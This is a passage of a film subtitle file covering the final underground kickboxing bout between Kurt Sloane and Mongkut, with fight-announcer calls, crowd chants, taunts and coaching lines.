01:20:15.777 --> 01:20:17.874
Ladies and gentlemen...

435
01:20:18.746 --> 01:20:20.104
Pick your bet.

436
01:20:39.734 --> 01:20:42.869
You've been well trained.
Don't forget...

437
01:20:42.870 --> 01:20:47.004
flexibility, dexterity
and momentum.

438
01:20:51.779 --> 01:20:57.073
And remember...
the kill-shots.

439
01:20:59.720 --> 01:21:01.044
Fighters!

440
01:21:20.842 --> 01:21:25.812
I am so happy to hear that your wife
came out of the coma.

441
01:21:25.813 --> 01:21:29.082
I just want you to know
that after I kill you...

442
01:21:29.484 --> 01:21:32.111
I will keep that sweet ass warm at night.

443
01:21:34.889 --> 01:21:36.952
To your corner.

444
01:22:02.683 --> 01:22:04.007
Round one.

445
01:23:53.628 --> 01:23:54.952
Shit.

446
01:23:55.730 --> 01:23:57.054
No.

447
01:24:10.745 --> 01:24:15.882
Mongkut! Mongkut! Mongkut!
Mongkut! Mongkut!

448
01:24:15.883 --> 01:24:20.620
Mongkut! Mongkut!
Mongkut! Mongkut!

449
01:24:20.621 --> 01:24:23.185
Kurt! You have to
feel the air move...

450
01:24:23.624 --> 01:24:24.948
before it moves.

451
01:24:32.733 --> 01:24:34.057
That's right.

452
01:24:37.672 --> 01:24:41.032
Kurt! Conquer it!

453
01:24:54.622 --> 01:24:59.154
Mongkut! Mongkut!
Mongkut! Mongkut!

454
01:24:59.660 --> 01:25:05.921
Mongkut! Mongkut!
Mongkut! Mongkut! Mongkut!

455
01:25:21.782 --> 01:25:24.141
Mongkut! Mongkut! Mongkut!

456
01:25:24.685 --> 01:25:29.789
Mongkut! Mongkut!
Mongkut! Mongkut!

457
01:25:29.890 --> 01:25:35.153
Mongkut! Mongkut!
Mongkut! Mongkut!

458
01:25:48.776 --> 01:25:51.010
- Stop.
- C'mon, Dad.

459
01:26:00.855 --> 01:26:03.089
Let's hear Kurt Sloane!

460
01:26:03.591 --> 01:26:07.185
Cause he may not be here with us
but stronger.

461
01:26:08.129 --> 01:26:09.896
C'mon, wake up.

462
01:26:09.897 --> 01:26:12.732
Kurt! Kurt!

463
01:26:12.733 --> 01:26:14.967
This is a really bad idea.

464
01:26:15.736 --> 01:26:17.060
I know.

465
01:26:17.838 --> 01:26:19.839
I don't stand a chance.

466
01:26:19.840 --> 01:26:21.971
Are you gonna make this quick?

467
01:26:24.745 --> 01:26:28.782
I have an idea.
Don't let him hit you...

468
01:26:28.783 --> 01:26:32.109
touch you.
Stay away from him. Okay?

469
01:26:32.753 --> 01:26:34.884
Yeah, good tip, Dad.

470
01:26:38.726 --> 01:26:40.960
Moore wants us to finish this up.

471
01:26:46.767 --> 01:26:48.159
He's really big.

472
01:26:48.669 --> 01:26:49.993
I know.

473
01:27:06.320 --> 01:27:09.912
Get out there and get this guy down.
Let's finish this.

474
01:27:10.524 --> 01:27:13.993
Cause it is our advance rounds,

475
01:27:14.628 --> 01:27:19.126
with the blades to the elbow...
to the knees.

476
01:27:25.906 --> 01:27:28.003
Round 2.

477
01:28:00.774 --> 01:28:04.134
Mongkut! Mongkut!
Mongkut! Mongkut!

478
01:28:37.878 --> 01:28:42.171
Mongkut! Mongkut! Mongkut!

479
01:28:54.895 --> 01:28:56.924
Yeah!

480
01:29:13.681 --> 01:29:18.685
Mongkut! Mongkut!
Mongkut! Mongkut!

481
01:29:18.686 --> 01:29:23.047
Mongkut! Mongkut! Mongkut!

482
01:30:36.663 --> 01:30:38.021
He's dead.

483
01:30:47.808 --> 01:30:49.726
Kurt! Kurt!

484
01:30:50.567 --> 01:30:53.034
Kurt! C'mon. Please!

485
01:30:57.551 --> 01:31:00.019
Said you wouldn't leave me. Kurt!

486
01:31:00.788 --> 01:31:02.077
Kurt!

487
01:31:16.904 --> 01:31:19.138
We have a winner!

488
01:31:20.741 --> 01:31:24.101
The greatest warrior in the world!

489
01:31:24.711 --> 01:31:29.038
Mongkut! Mongkut! Mongkut!

490
01:31:29.817 --> 01:31:31.880
Bravo!

491
01:31:48.769 --> 01:31:51.060
I would like to see his face again.

492
01:32:04.885 --> 01:32:07.050
Take me away from here.

493
01:32:47.694 --> 01:32:49.052
Holy shit!

494
01:32:50.731 --> 01:32:52.089
Oh, my God!

495
01:32:57.838 --> 01:33:02.131
To the greatest fighter in the world!

496
01:33:10.651 --> 01:33:14.887
White warrior! White warrior!
White warrior!

497
01:33:14.888 --> 01:33:20.956
White warrior! White warrior!

498
01:33:22.896 --> 01:33:25.027
Time for the third round.

499
01:33:25.366 --> 01:33:27.700
No. This is over.

500
01:33:27.701 --> 01:33:29.093
Do I look dead to you?

501
01:33:29.836 --> 01:33:33.162
The only way I am going down
is if you ugly me to death.

502
01:33:33.707 --> 01:33:38.744
White warrior! White warrior!
White warrior!

503
01:33:38.845 --> 01:33:42.310
White warrior! White warrior!
White warrior!

504
01:33:42.516 --> 01:33:44.142
C'mon.

505
01:33:44.451 --> 01:33:45.451
Take it easy.

506
01:33:45.652 --> 01:33:47.178
Do something!

507
01:33:47.854 --> 01:33:51.021
Fighters! To your corners.

508
01:33:55.896 --> 01:33:59.188
Ladies and Gentlemen.
Do not cash in any payment.

509
01:33:59.866 --> 01:34:02.259
This fight is not over!

510
01:34:04.805 --> 01:34:08.006
Double or nothing!

511
01:34:09.943 --> 01:34:16.243
At this moment, make your bets.
Double or nothing.

512
01:34:24.525 --> 01:34:26.049
The blindfold.

513
01:34:28.595 --> 01:34:30.084
Okay.

514
01:34:30.931 --> 01:34:36.032
And now for the third round.
Back from the dead...

515
01:34:37.804 --> 01:34:41.073
Kurt Sloane wants more punishment.

516
01:34:43.810 --> 01:34:45.168
Say again.

517
01:34:46.780 --> 01:34:49.241
Go. Kill him.

518
01:34:49.983 --> 01:34:52.148
Let's fight!

519
01:34:52.986 --> 01:34:56.956
White warrior! White warrior!
White warrior!

520
01:34:56.957 --> 01:35:02.160
White warrior! White warrior!

521
01:35:05.899 --> 01:35:08.133
You have to feel its thoughts...

522
01:35:09.903 --> 01:35:11.904
The air moves...

523
01:35:11.905 --> 01:35:18.166
before he moves.
Anticipation.

524
01:35:55.982 --> 01:36:00.150
The strongest man does not always win.
But the smartest one does.

525
01:36:10.864 --> 01:36:12.153
Come on!

526
01:36:45.799 --> 01:36:49.967
Kurt! Run the big man to the ground.

527
01:36:57.010 --> 01:36:59.005
C'mon!

528
01:38:45.752 --> 01:38:48.988
Mongkut! Mongkut!
Mongkut! Mongkut!

529
01:38:49.089 --> 01:38:53.889
Mongkut! Mongkut!
Mongkut! Mongkut!

530
01:38:53.990 --> 01:38:58.153
Mongkut! Mongkut!
Mongkut! Mongkut!

531
01:39:35.869 --> 01:39:38.871
Your brother is brave.
Your brother was a warrior.

532
01:39:38.872 --> 01:39:43.006
Unlike you.
Such a coward.

533
01:39:49.949 --> 01:39:53.184
If you keep coming up with the
drive to desire and will to win.

534
01:39:53.753 --> 01:39:55.247
I will make you immortal.

535
01:40:04.764 --> 01:40:08.192
This is your destiny.
Believe in yourself.

536
01:40:43.770 --> 01:40:50.070
White warrior! White warrior!
White warrior!

537
01:42:03.016 --> 01:42:09.255
White warrior! White warrior!
White warrior! White warrior!

538
01:42:15.995 --> 01:42:20.061
The kill-shot!

539
01:42:22.735 --> 01:42:27.233
White warrior! White warrior!
White warrior!

540
01:44:00.833 --> 01:44:04.705
White warrior! White warrior!
White warrior!

541
01:44:04.805 --> 01:44:09.007
White warrior! White warrior!
White warrior!

542
01:44:27.961 --> 01:44:30.092
Shock and aw!

543
01:44:42.775 --> 01:44:46.272
Attention! Attention!

544
01:44:47.780 --> 01:44:54.019
Kurt Sloane just defeated Mongkut!
Incredible!

545
01:45:01.894 --> 01:45:05.792
Durand. He is not that big.

546
01:45:06.692 --> 01:45:12.196
Okay. Alright.
Lift your hand, champion.


ZeroDay Forums Mini